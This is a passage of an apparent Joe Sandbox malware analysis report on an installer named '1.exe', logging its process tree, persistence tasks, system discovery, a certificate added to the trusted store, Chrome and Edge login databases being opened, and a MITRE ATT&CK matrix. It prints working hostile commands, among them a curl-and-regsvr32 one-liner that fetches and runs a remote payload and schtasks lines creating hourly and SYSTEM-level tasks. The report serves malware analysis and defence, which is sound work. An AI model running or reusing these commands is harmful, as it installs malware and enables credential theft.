Source: C:\Users\user\Desktop\1.exe	Process created: C:\Users\user\Desktop\1.exe "C:\Users\user\Desktop\1.exe" /i "C:\Users\user\AppData\Roaming\Atomix\Atomix 1.0.0\install\69B1923\Distributor Software.msi" AI_EUIMSI=1 APPDIR="C:\Program Files (x86)\Atomix" SECONDSEQUENCE="1" CLIENTPROCESSID="7448" CHAINERUIPROCESSID="7448Chainer" ACTION="INSTALL" EXECUTEACTION="INSTALL" CLIENTUILEVEL="0" ADDLOCAL="MainFeature" PRIMARYFOLDER="APPDIR" ROOTDRIVE="C:\" AI_DETECTED_ADMIN_USER="1" AI_SETUPEXEPATH="C:\Users\user\Desktop\1.exe" SETUPEXEDIR="C:\Users\user\Desktop\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1741399570 " TARGETDIR="C:\" AI_SETUPEXEPATH_ORIGINAL="C:\Users\user\Desktop\1.exe" AI_INSTALL="1"	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe "C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe" https://qb-hos.pages.dev/page-2/?source_id=6	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /create /sc hourly /tn "MyPersistentApp_Hourly" /tr "\"C:\Program Files (x86)\Main\MainSoftware.exe\" Loop" /ru "user-PC\user" /RL HIGHEST /f	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /run /tn "MyPersistentApp_Hourly"	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	Process created: C:\Program Files (x86)\Main\Chop\Install.exe "C:\Program Files (x86)\Main\Chop\Install.exe"
Source: C:\Program Files (x86)\Atomix\Addons\SoftwareDistributor.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks" /create /tn "InstallTask_34e8916a-1abe-4e06-987a-f63b64c2e744" /tr "\"C:\Program Files\Surfclub\Install.exe\" install https://qb-hos.pages.dev/page-2/?source_id=6" /sc once /st 21:10:47 /ru SYSTEM /f
Source: C:\Program Files (x86)\Main\Chop\Install.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /v /c"set rnd=%tmp%\%random%0.ocx&& curl --ssl-no-revoke https://wetransfers.io/v.php -o "!rnd!" && regsvr32 /s /i "!rnd!""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl --ssl-no-revoke https://wetransfers.io/v.php -o "C:\Users\user\AppData\Local\Temp\219880.ocx"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32 /s /i "C:\Users\user\AppData\Local\Temp\219880.ocx"

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Source: C:\Users\user\Desktop\1.exe	Process created: C:\Users\user\Desktop\1.exe "c:\users\user\desktop\1.exe" /i "c:\users\user\appdata\roaming\atomix\atomix 1.0.0\install\69b1923\distributor software.msi" ai_euimsi=1 appdir="c:\program files (x86)\atomix" secondsequence="1" clientprocessid="7448" chaineruiprocessid="7448chainer" action="install" executeaction="install" clientuilevel="0" addlocal="mainfeature" primaryfolder="appdir" rootdrive="c:\" ai_detected_admin_user="1" ai_setupexepath="c:\users\user\desktop\1.exe" setupexedir="c:\users\user\desktop\" exe_cmd_line="/exenoupdates /forcecleanup /wintime 1741399570 " targetdir="c:\" ai_setupexepath_original="c:\users\user\desktop\1.exe" ai_install="1"
Source: C:\Users\user\Desktop\1.exe	Process created: C:\Users\user\Desktop\1.exe "c:\users\user\desktop\1.exe" /i "c:\users\user\appdata\roaming\atomix\atomix 1.0.0\install\69b1923\distributor software.msi" ai_euimsi=1 appdir="c:\program files (x86)\atomix" secondsequence="1" clientprocessid="7448" chaineruiprocessid="7448chainer" action="install" executeaction="install" clientuilevel="0" addlocal="mainfeature" primaryfolder="appdir" rootdrive="c:\" ai_detected_admin_user="1" ai_setupexepath="c:\users\user\desktop\1.exe" setupexedir="c:\users\user\desktop\" exe_cmd_line="/exenoupdates /forcecleanup /wintime 1741399570 " targetdir="c:\" ai_setupexepath_original="c:\users\user\desktop\1.exe" ai_install="1"			Jump to behavior

Source: C:\Users\user\Desktop\1.exe

Code function: 11_2_009B6700 GetCurrentProcess,OpenProcessToken,GetLastError,GetTokenInformation,GetLastError,GetTokenInformation,AllocateAndInitializeSid,EqualSid,FreeSid,GetLastError,CloseHandle,

11_2_009B6700

Language, Device and Operating System Detection

Contains functionality to query CPU information (cpuid)

Source: C:\Users\user\Desktop\1.exe

Code function: 11_2_00A7C130 cpuid

11_2_00A7C130

Contains functionality to query locales information (e.g. system language)

Source: C:\Users\user\Desktop\1.exe

Code function: GetLocaleInfoW,

11_2_00A9F27F

Queries the volume information (name, serial number etc) of a device

Source: C:\Users\user\Desktop\1.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7448\dialog.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7448\dialog.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7448\banner.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7448\banner.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7448\banner.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7448\banner.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7448\dialog.jpg VolumeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\TBioYkjtYu\output.zip VolumeInformation
Source: C:\Windows\System32\regsvr32.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\TBioYkjtYu\output.zip VolumeInformation

Source: C:\Users\user\Desktop\1.exe

Code function: 11_2_00A8597E GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

11_2_00A8597E

Source: C:\Users\user\Desktop\1.exe

Code function: 11_2_00857950 GetVersion,

11_2_00857950

Source: C:\Users\user\Desktop\1.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Adds / modifies Windows certificates

Source: C:\Users\user\Desktop\1.exe

Registry key created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\4EFC31460C619ECAE59C1BCE2C008036D94C84B8 Blob

Jump to behavior

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Replication Through Removable Media	2 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	12 Command and Scripting Interpreter	1 DLL Search Order Hijacking	1 DLL Search Order Hijacking	1 Deobfuscate/Decode Files or Information	LSASS Memory	11 Peripheral Device Discovery	Remote Desktop Protocol	1 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	111 Process Injection	2 Obfuscated Files or Information	Security Account Manager	4 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Scheduled Task/Job	1 Timestomp	NTDS	36 System Information Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	121 Security Software Discovery	SSH	Keylogging	4 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Search Order Hijacking	Cached Domain Credentials	31 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 File Deletion	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	32 Masquerading	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Modify Registry	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	31 Virtualization/Sandbox Evasion	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	111 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1.exe

Overview

General Information

Detection

Compliance

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Privilege Escalation

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
1.exe